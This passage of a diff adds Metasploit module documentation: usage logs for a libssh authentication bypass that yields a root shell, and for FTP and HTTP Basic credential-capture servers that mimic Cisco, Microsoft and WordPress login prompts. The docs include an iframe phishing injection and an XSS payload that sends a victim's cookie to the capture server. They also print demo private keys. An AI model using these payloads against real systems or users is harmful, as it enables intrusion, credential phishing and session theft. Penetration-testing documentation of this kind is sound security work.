[*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
# id
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# uname -a
|
||||
uname -a
|
||||
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
# tty
|
||||
tty
|
||||
/dev/pts/1
|
||||
#
|
||||
```
|
||||
|
||||
Positive testing of shell commands using the `Execute` action:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
|
||||
action => Execute
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
|
||||
cmd => id; uname -a
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
|
||||
[*] 172.28.128.3:2222 - Executed: id; uname -a
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
|
||||
```
|
||||
|
||||
Negative testing against patched libssh 0.8.4:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[-] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.4 appears to be patched
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
|
||||
```
|
||||
|
||||
Negative testing against an insufficiently implemented libssh server:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
|
||||
[-] 172.28.128.3:2222 - Net::SSH::ChannelOpenFailed: Session channel open failed (1)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
|
||||
[-] 172.28.128.3:2222 - Net::SSH::ChannelRequestFailed: Shell/exec channel request failed
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
|
||||
```
|
||||
|
||||
Negative testing against OpenSSH:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 22
|
||||
rport => 22
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:22 - Attempting authentication bypass
|
||||
[-] 172.28.128.3:22 - SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 does not appear to be libssh
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
|
||||
```
|
||||
|
||||
Confirming auth is still normally present using the OpenSSH client:
|
||||
|
||||
```
|
||||
wvu@kharak:~$ ssh -vp 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null myuser@172.28.128.3
|
||||
[snip]
|
||||
debug1: Authentications that can continue: password
|
||||
debug1: Next authentication method: password
|
||||
myuser@172.28.128.3's password: wrongpassword
|
||||
debug1: Authentications that can continue: password
|
||||
Permission denied, please try again.
|
||||
myuser@172.28.128.3's password: mypassword
|
||||
debug1: Authentication succeeded (password).
|
||||
Authenticated to 172.28.128.3 ([172.28.128.3]:2222).
|
||||
[snip]
|
||||
#
|
||||
```
|
|
@ -0,0 +1,170 @@
|
|||
This module creates a mock FTP server which accepts credentials before throwing a `500` error.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/ftp```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**BANNER**
|
||||
|
||||
The Banner which should be displayed (200 server message). Default is `FTP Server Ready`.
|
||||
Some notable banners to emulate:
|
||||
|
||||
* `Microsoft FTP Service`
|
||||
* `ucftpd FTP server ready.`
|
||||
* `Serv-U FTP Server v6.4 for WinSock ready...`
|
||||
* `Serv-U FTP Server v15.0 ready...`
|
||||
* `ProFTPD 1.3.4a Server (FTP-Server)`
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used, making this FTPS. FTPS is typically run on port 990. If `SSLCert` is not set, a certificate
|
||||
will be automatically generated. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### FTP Emulating Microsoft with Telnet Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/ftp
|
||||
msf5 auxiliary(server/capture/ftp) > set banner "Microsoft FTP Service"
|
||||
banner => Microsoft FTP Service
|
||||
msf5 auxiliary(server/capture/ftp) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/ftp) >
|
||||
[*] Started service listener on 0.0.0.0:21
|
||||
[*] Server started.
|
||||
[+] FTP LOGIN 127.0.0.1:44526 root / SuperSecret9
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# telnet 127.0.0.1 21
|
||||
Trying 127.0.0.1...
|
||||
Connected to 127.0.0.1.
|
||||
Escape character is '^]'.
|
||||
220 Microsoft FTP Service
|
||||
USER root
|
||||
331 User name okay, need password...
|
||||
PASS SuperSecret9
|
||||
500 Error
|
||||
```
|
||||
|
||||
### FTPS with Self-Signed Certificate and curl/lftp Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
|
||||
Generating a RSA private key
|
||||
.................................+++++
|
||||
........+++++
|
||||
writing new private key to 'key.pem'
|
||||
-----
|
||||
You are about to be asked to enter information that will be incorporated
|
||||
into your certificate request.
|
||||
What you are about to enter is what is called a Distinguished Name or a DN.
|
||||
There are quite a few fields but you can leave some blank
|
||||
For some fields there will be a default value,
|
||||
If you enter '.', the field will be left blank.
|
||||
-----
|
||||
Country Name (2 letter code) [AU]:
|
||||
State or Province Name (full name) [Some-State]:
|
||||
Locality Name (eg, city) []:
|
||||
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
|
||||
Organizational Unit Name (eg, section) []:
|
||||
Common Name (e.g. server FQDN or YOUR name) []:
|
||||
Email Address []:
|
||||
msf5 > cat key.pem certificate.pem > selfsigned.pem
|
||||
[*] exec: cat key.pem certificate.pem > selfsigned.pem
|
||||
|
||||
msf5 > cat /root/metasploit-framework/selfsigned.pem
|
||||
[*] exec: cat /root/metasploit-framework/selfsigned.pem
|
||||
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDMboMCNpx4nk16
|
||||
vx/4gPn7yzMDHh/iTm27gIQKlktxNNKo+I53Cl4vpxLTN4NHxBn47hAlLUm3cADx
|
||||
j/S9P6f62/GfcKsSeuN7VZ+anRyrdcmsKKenykv3wlfRAR5z7txqiO6LPQpUwiJT
|
||||
7sgVo8TYRkIIziEXarihk0w1eMKUVlFVR92HFyLaBv0Y1ftCCrZufq6QgStzwjwh
|
||||
qKFaWXSE3IjYwbVJs03dF2jBVQCVXBj4BTydwYxJ9NrCnwX7BgeRzJWKV+U4akxU
|
||||
unt5t3/NXJbeTNcHrcvY2CQK4kDhu37xy99jUvOxYxw+8P2HHEgmQWfzHJAJKYCX
|
||||
wKsFlR53AgMBAAECggEAA0jfSADSoMmCWy+I9vgzjA0mw60PPBaggru842Ko0afU
|
||||
nqxntZfwDXn0vnoM3PFUrYA9uCszHQRqr3btqsDEFS7FghdQWFqrHwcwKk7N8B9T
|
||||
XzXEA9knQVLZEF2hPKGg3wFWO9x+NwBrhse2ZUqdVhBC7VtKgtLPJqF0PwOytKlq
|
||||
/pYniZdkLPrGHcQ13f50vr/dlkIGQ4YaKcAFTjCOxnK7q4of+sa75hFsXVwtnz9j
|
||||
nw2SEs+SHEfLUl8wPww3IvwCkqFaosagIey2NyTtHxR3lqHobaOmu1nqXkNu/oXk
|
||||
bt67M3D8VOrKu2aR9sMbirnpjSj+aBSaIjso6kSCaQKBgQD+VdrjMJu3Cr4LSoZL
|
||||
FV7cog0HBlp3KE910rtY+VHH6c7jo4ow5vVvfITt78/Ntrkj1jAamAV2xA9okMay
|
||||
7BlL3MVx/MKeQTwEWjTWIed/7Xc5D8o/PqMC8WkIc0Uur3BprwkGTL+wBqo9PHSO
|
||||
eGo3zcdpbRrL0616o/7+uWIL1QKBgQDNxQq6tBlCY9ckuoof9SmayCmcU4t4Wusx
|
||||
UJWBN32X8IGVGJRCxMlfwzLUlJwOTIWSkCj6Dw8/njsehda3KgqXbzfemIqD9K+j
|
||||
/EL/ktrgBmh8ajnjBJX/2O7PsmeF7gFuDjVWflcG6WpuKFapkTsbU4D6ITmLi4uH
|
||||
0Ot0CMDjGwKBgQCpQrv0XKIUs/p8CzHKgENsdBBVb33/NP2EvSTfdrVdZRXB21GZ
|
||||
b+tBMc5Jh0J1djhKSD4lRKzGOH7EqS0DYCsJmLhyPrPKnEFz6BCnvVKSiZfBiuef
|
||||
JXFZAQ5UiFovUqRuQQWxgpxDanwbWsN7GVofHzypxemCYrJeHwwRu5ArrQKBgDpz
|
||||
FjEip2osYhiUxFd/lGnbIba+JIfzi4tekJk74fke4DAx4yt0Kp+BGxc3f3ywT+Dq
|
||||
AjnFvVcc4z4wVmWBE7EgboZUXkRNZPb32TAvzuyD5Xox0m+iBdm/DVcCHlX03YMd
|
||||
lhkTmjTkaM8RtkxEbL2+Yoyqk2YIJYJW3gr/0YqxAoGAe95gaeyjz5IvA/Spfztt
|
||||
t8Sw0PSNKhw7Th4UwYW1g38Yh/oedHjI/cwV2oegoGRe15nQGQ3IYhyB7yTtsRJI
|
||||
lVcthX4E1hPRsB3DiuldwWSxJcFhlhm72p/nas/ZsIkE4mKWccj6hJFUlnGhQh+y
|
||||
dUubf5UfmaGETVVd8MbMNvQ=
|
||||
-----END PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDazCCAlOgAwIBAgIUDSznPwoelB25d/7v7bk+mjkDb0kwDQYJKoZIhvcNAQEL
|
||||
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
|
||||
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDUwMjAxMDVaFw0xOTEx
|
||||
MDUwMjAxMDVaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
|
||||
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
|
||||
AQUAA4IBDwAwggEKAoIBAQDMboMCNpx4nk16vx/4gPn7yzMDHh/iTm27gIQKlktx
|
||||
NNKo+I53Cl4vpxLTN4NHxBn47hAlLUm3cADxj/S9P6f62/GfcKsSeuN7VZ+anRyr
|
||||
dcmsKKenykv3wlfRAR5z7txqiO6LPQpUwiJT7sgVo8TYRkIIziEXarihk0w1eMKU
|
||||
VlFVR92HFyLaBv0Y1ftCCrZufq6QgStzwjwhqKFaWXSE3IjYwbVJs03dF2jBVQCV
|
||||
XBj4BTydwYxJ9NrCnwX7BgeRzJWKV+U4akxUunt5t3/NXJbeTNcHrcvY2CQK4kDh
|
||||
u37xy99jUvOxYxw+8P2HHEgmQWfzHJAJKYCXwKsFlR53AgMBAAGjUzBRMB0GA1Ud
|
||||
DgQWBBQzY/telaztoKPEd1vfKqXQ1khMWTAfBgNVHSMEGDAWgBQzY/telaztoKPE
|
||||
d1vfKqXQ1khMWTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAT
|
||||
ch32xF4s6X4YTg00zbhztiBGxjDDSp6ULk68E6GuxSDcB+wE/nL66urdZJTvlFZk
|
||||
M26to4odpNhCnYiKIJr4eGvk/8H83yHJn4yr1O2Xy0MJ3piGt4gJm6cA9/DdOzlE
|
||||
U3tE8X+lcbq4fiz8pkUOU219jiw63OCfB7N1iGMdqCkpLWbGYXH71SAWqzpPFMsA
|
||||
0oBDYjN1rMBSVA5sFteZNNkidHRE7OaXCAQ20htLZe0cO1rWMO44JKEKalwJW4YZ
|
||||
n9UgZH3Kq/ptE3Jw6gdj11XT1RSn5NgCutxeCEuPzUhwg3XmVL5fOASJbohQxdGb
|
||||
mVuIIRbrDW/sOgu2Viis
|
||||
-----END CERTIFICATE-----
|
||||
|
||||
msf5 > use auxiliary/server/capture/ftp
|
||||
msf5 auxiliary(server/capture/ftp) > set srvport 990
|
||||
srvport => 990
|
||||
msf5 auxiliary(server/capture/ftp) > set ssl true
|
||||
ssl => true
|
||||
msf5 auxiliary(server/capture/ftp) > set sslcert /root/metasploit-framework/selfsigned.pem
|
||||
sslcert => /root/metasploit-framework/selfsigned.pem
|
||||
msf5 auxiliary(server/capture/ftp) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/ftp) >
|
||||
[*] Started service listener on 0.0.0.0:990
|
||||
[*] Server started.
|
||||
[+] FTP LOGIN 127.0.0.1:33618 admin / password123
|
||||
[+] FTP LOGIN 127.0.0.1:33758 admin / password4321
|
||||
```
|
||||
|
||||
Clients:
|
||||
|
||||
```
|
||||
root@kali:~# curl -k --ftp-ssl --user admin:password123 ftps://127.0.0.1:990
|
||||
curl: (67) Access denied: 500
|
||||
root@kali:~# lftp ftps://admin:password4321@127.0.0.1:990 -e "set ssl:verify-certificate no; dir;"
|
||||
ls: Login failed: 500 Error
|
||||
```
|
|
@ -0,0 +1,271 @@
|
|||
This module creates a mock web server which, utilizing a HTTP 401 response, prompts the user to enter credentials for Basic Authentication.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/http_basic```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**REALM**
|
||||
|
||||
The Realm for the Basic Authentication, which may be displayed in the input box to the user.
|
||||
Default is `Secure Site`.
|
||||
Some notable Realms to emulate:
|
||||
|
||||
* `level_15 or view_access`
|
||||
* `cPanel`
|
||||
* `HuaweiHomeGateway`
|
||||
* `Broadband Router`
|
||||
|
||||
**RedirectURL**
|
||||
|
||||
After the user enters a set of credentials, their browser will be redirected to this address. Default is ``.
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used, making this HTTPS. HTTPS is typically run on port 443. If `SSLCert` is not set, a certificate
|
||||
will be automatically generated. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
**URIPATH**
|
||||
|
||||
What URI should be utilized to prompt for the Basic Authentication. For instance, you may want this to run on `/cisco` if you use
|
||||
the `REALM` `level_15 or view_access`. Default is ``, which will randomly generate a URIPATH.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco Emulator with wget Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/http_basic
|
||||
msf5 auxiliary(server/capture/http_basic) > set REALM "level_15 or view_access"
|
||||
REALM => level_15 or view_access
|
||||
msf5 auxiliary(server/capture/http_basic) > set uripath '/cisco'
|
||||
uripath => /cisco
|
||||
msf5 auxiliary(server/capture/http_basic) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/http_basic) >
|
||||
[*] Using URL: http://0.0.0.0:80/cisco
|
||||
[*] Local IP: http://10.1.1.1:80/cisco
|
||||
[*] Server started.
|
||||
[*] Sending 401 to client 127.0.0.1
|
||||
[+] 127.0.0.1 - Credential collected: "cisco:cisco" => /cisco
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# wget http://cisco:cisco@127.0.0.1:80/cisco
|
||||
--2018-11-05 19:44:29-- http://cisco:*password*@127.0.0.1/cisco
|
||||
Connecting to 127.0.0.1:80... connected.
|
||||
HTTP request sent, awaiting response... 401 Unauthorized
|
||||
Authentication selected: Basic realm="level_15 or view_access"
|
||||
Reusing existing connection to 127.0.0.1:80.
|
||||
HTTP request sent, awaiting response... 404 Not Found
|
||||
2018-11-05 19:44:29 ERROR 404: Not Found.
|
||||
```
|
||||
|
||||
### HTTPS with Self-Signed Certificate and curl Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
|
||||
Generating a RSA private key
|
||||
............+++++
|
||||
.+++++
|
||||
writing new private key to 'key.pem'
|
||||
-----
|
||||
You are about to be asked to enter information that will be incorporated
|
||||
into your certificate request.
|
||||
What you are about to enter is what is called a Distinguished Name or a DN.
|
||||
There are quite a few fields but you can leave some blank
|
||||
For some fields there will be a default value,
|
||||
If you enter '.', the field will be left blank.
|
||||
-----
|
||||
Country Name (2 letter code) [AU]:
|
||||
State or Province Name (full name) [Some-State]:
|
||||
Locality Name (eg, city) []:
|
||||
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
|
||||
Organizational Unit Name (eg, section) []:
|
||||
Common Name (e.g. server FQDN or YOUR name) []:
|
||||
Email Address []:
|
||||
msf5 > cat key.pem certificate.pem > selfsigned.pem
|
||||
[*] exec: cat key.pem certificate.pem > selfsigned.pem
|
||||
|
||||
msf5 > cat /root/metasploit-framework/selfsigned.pem
|
||||
[*] exec: cat /root/metasploit-framework/selfsigned.pem
|
||||
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCmniuSmx1h57hK
|
||||
XxBCfCOfsfJatMEtsrTHFCC0GDvIIHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0
|
||||
SZlF6BRc0GELAC7qPa9VJ8HPYYVbO/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36
|
||||
ypHiZ3LIbaz8VuAUyIU5Qa6G+TNvwClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HA
|
||||
eN29IJyoiXH+GEjw7wBbm9dkbU1DI71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU
|
||||
5hB6jGpc9N7rMYqV82mLogsXGaRDWh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62
|
||||
ct4DtCrNAgMBAAECggEAJ8ZohnYLHJ0xjGeHPSffZTcYsPiniR45M7ElYXjLhKni
|
||||
GDHPy4Jnu8UShF2AH7Nlz8A5It8LpBRDbQZI1bxiaAnCsNqZWIfjPEPia3xPVolI
|
||||
uBztiENCCoXAKLq142dFyrePdexVxo46Td1f2Blz+E7eVdrzYWLBEvsQC96fndRx
|
||||
8j6KT17tIhGz+9+87dwVUXiiBZTzeWRf94jofek3XWADlu6QjAd3qW944ljYyB7p
|
||||
+cJGwod5xFUxRdAr12RN+VIuzyP6xUXkfBQImdT3E0nR8LWwb4FcjwrCtCNEEYqU
|
||||
/CEBx8rm0qt7mBLiIjTq5+clfKKbd1XOXmGn7+7A7QKBgQDdoJl7NBcpBtLMC1kY
|
||||
KK78kar+nWS5am9H/3o76+sRmQGOCjRg9TyQBmqGkxb7en/m/xZzmS0QxbLCbChj
|
||||
nOgFn9owQKQ4a2FPiNHQ1BQ7F44E+B4j+1auS7VnpbzhPgyOwmZcDoRn5h+FeNwW
|
||||
Xma/o+a78rp53eTzG9Hy8lFMwwKBgQDAdX8h8Us1d34a/GuFljUBe5iJNo1giqgq
|
||||
X8R2BCshvQWoT2wz3YX4FRBKMZKdfwLfbRxK1bzW7BinpgoNR6NV0lor75BgQiCJ
|
||||
nztUMCfDAkxwCgXZjR20OS106G/SRjRgLtYkdDhmfynyy2MSAKhmVaLxBa57VlXD
|
||||
ZE2G4jdxLwKBgQCu1oReGnDu77AaQhWOJoItQ+lmpdoRH/McFGJkpS+zmUYNvOUn
|
||||
XC/j2vvsoFswFqqSG8ild0CDC8OC93pBY0XzMfEZwdULoUKKUQBcwwIWv/VM3ERC
|
||||
1IPESnuYgbpo4t9bO+cuVlGD+ZoCXJ8bkmtyYaWjvc/4VeHJG7hb9WfHqwKBgAe5
|
||||
L17nVgNRRkhC9PWpb3sdwKNRAx9qsRDyQuoRhMGX2lBEz6zNKQEppzuy/ZVAcZcR
|
||||
w97k8O0XEG455ZFe3JknFeNJe9vBC5k6QKFCRXY382VToaR3W0fOO5rDcSlZE+UA
|
||||
PCu+Vj0WwVIzA0jHqfphWWaeub/NWSe8MLhG/76VAoGBALTnftXB/b45xkgNEIZ3
|
||||
7WOsfvGo23tlXSQdCNNOn6YKptqYX88jeihcKEvGoIBH+LfV/GfD2P1d227kHyBZ
|
||||
FoZ+2dUwVXO2UP5j3WlxBleOqk0rTbIri/Pj4oCajAR4pXDIviUD+bUFojyFaysj
|
||||
It3LYabipjgG3NjDxYBMyJnt
|
||||
-----END PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDazCCAlOgAwIBAgIUXlRMetgIkrPIiamQGIBKbcEuT1IwDQYJKoZIhvcNAQEL
|
||||
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
|
||||
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDYwMDQ2NDFaFw0xOTEx
|
||||
MDYwMDQ2NDFaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
|
||||
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
|
||||
AQUAA4IBDwAwggEKAoIBAQCmniuSmx1h57hKXxBCfCOfsfJatMEtsrTHFCC0GDvI
|
||||
IHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0SZlF6BRc0GELAC7qPa9VJ8HPYYVb
|
||||
O/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36ypHiZ3LIbaz8VuAUyIU5Qa6G+TNv
|
||||
wClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HAeN29IJyoiXH+GEjw7wBbm9dkbU1D
|
||||
I71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU5hB6jGpc9N7rMYqV82mLogsXGaRD
|
||||
Wh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62ct4DtCrNAgMBAAGjUzBRMB0GA1Ud
|
||||
DgQWBBR+MfL8LopA4OaIRLGK1gof3u+PIDAfBgNVHSMEGDAWgBR+MfL8LopA4OaI
|
||||
RLGK1gof3u+PIDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBe
|
||||
IGmZr3wlO32b25qj/4qB7ewukwF6uaS4OQh4VLlUk8uYsqoGfvehAaNNJsu1oKO5
|
||||
XpShHeyEkpwzgx0mdCmQSB3JKseFYuZTgP9GP00EXuHYl2V+quPFN17fq0AgYN6K
|
||||
TFDwzYbhWyFGz7k++i23w0/dwvL2dLH+bgdHYU49rhlZIAu7PgbyIuhP+M2ltcjt
|
||||
NDO8po38u2ba52E56abfg0ZlFBqsua2s1TPHIyQ9iovTPMg1E5UTTGebaN6/BaMh
|
||||
Oj6N43ld9EONST6BhP3v1buoWHi1FMouocrUkUDuahiHoLlK4ERSUrb4uNnwko24
|
||||
WdNCCmA8APA1qf2BYVqs
|
||||
-----END CERTIFICATE-----
|
||||
msf5 > use auxiliary/server/capture/http_basic
|
||||
msf5 auxiliary(server/capture/http_basic) > set ssl true
|
||||
ssl => true
|
||||
msf5 auxiliary(server/capture/http_basic) > set srvport 443
|
||||
srvport => 443
|
||||
msf5 auxiliary(server/capture/http_basic) > set sslcert /root/metasploit-framework/selfsigned.pem
|
||||
sslcert => /root/metasploit-framework/selfsigned.pem
|
||||
msf5 auxiliary(server/capture/http_basic) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/http_basic) >
|
||||
[*] Using URL: https://0.0.0.0:443/4w0tML
|
||||
[*] Local IP: https://192.168.2.117:443/4w0tML
|
||||
[*] Server started.
|
||||
[+] 127.0.0.1 - Credential collected: "admin:password123" => /4w0tML
|
||||
```
|
||||
|
||||
Clients:
|
||||
|
||||
```
|
||||
root@kali:~# curl -k --user admin:password123 https://127.0.0.1/4w0tML
|
||||
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||
<html><head>
|
||||
<title>404 Not Found</title>
|
||||
</head><body>
|
||||
<h1>Not Found</h1>
|
||||
<p>The requested URL was not found on this server.</p>
|
||||
<hr>
|
||||
<address>Apache/2.2.9 (Unix) Server at Port 443</address>
|
||||
</body></html>
|
||||
```
|
||||
|
||||
### HTML Injection Social Engineering
|
||||
|
||||
In this scenario, we're able to inject HTML (but not script) into a website. We'll inject an `iframe`
|
||||
that will load our basic authentication website. This payload will pop-up a login box, with the REALM (title)
|
||||
set to the website, which will hopefully trick a user into entering their credentials.
|
||||
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
||||
The HTML was simply edited in the local browser.**
|
||||
|
||||
HTML Payload Injected:
|
||||
|
||||
```html
|
||||
<iframe width="0" height="0" src="http://127.0.0.1/"></iframe>
|
||||
```
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/http_basic
|
||||
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
|
||||
uripath => /
|
||||
msf5 auxiliary(server/capture/http_basic) > set REALM "Wordpress.com Login"
|
||||
REALM => Wordpress.com Login
|
||||
msf5 auxiliary(server/capture/http_basic) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/http_basic) >
|
||||
[*] Using URL: http://0.0.0.0:80/
|
||||
[*] Local IP: http://192.168.2.117:80/
|
||||
[*] Server started.
|
||||
[*] Sending 401 to client 127.0.0.1
|
||||
[+] 127.0.0.1 - Credential collected: "metasploit_blog:ms08-0sK1NG!" => /
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
![Injected Payload](https://user-images.githubusercontent.com/752491/48039039-326e1880-e141-11e8-9971-d9c88081d0df.png)
|
||||
|
||||
### XSS Cookie Theft
|
||||
|
||||
In this scenario, we're able to inject JavaScript into a website. We'll first get the user's cookie, then with jQuery
|
||||
pull the username from the `username` field. Because the cookie may contain fields break URI parsing (like `@`)
|
||||
we use `btoa` to base64 encode the cookie. Next we'll write an `iframe`
|
||||
that will silently attempt a login to our basic authentication website.
|
||||
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
||||
The HTML was simply edited in the local browser.**
|
||||
|
||||
Payload:
|
||||
|
||||
```html
|
||||
<script>
|
||||
var cookie = document.cookie;
|
||||
var username = $('#username').text();
|
||||
document.write('<iframe width="0" height="0" src="http://' + username + ':' + btoa(cookie) + '@127.0.0.1/"></iframe>');
|
||||
</script>
|
||||
```
|
||||
|
||||
Sever:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/http_basic
|
||||
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
|
||||
uripath => /
|
||||
msf5 auxiliary(server/capture/http_basic) > set REALM "Login"
|
||||
REALM => Login
|
||||
msf5 auxiliary(server/capture/http_basic) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/http_basic) >
|
||||
[*] Using URL: http://0.0.0.0:80/
|
||||
[*] Local IP: http://192.168.2.117:80/
|
||||
[*] Server started.
|
||||
[*] Sending 401 to client 127.0.0.1
|
||||
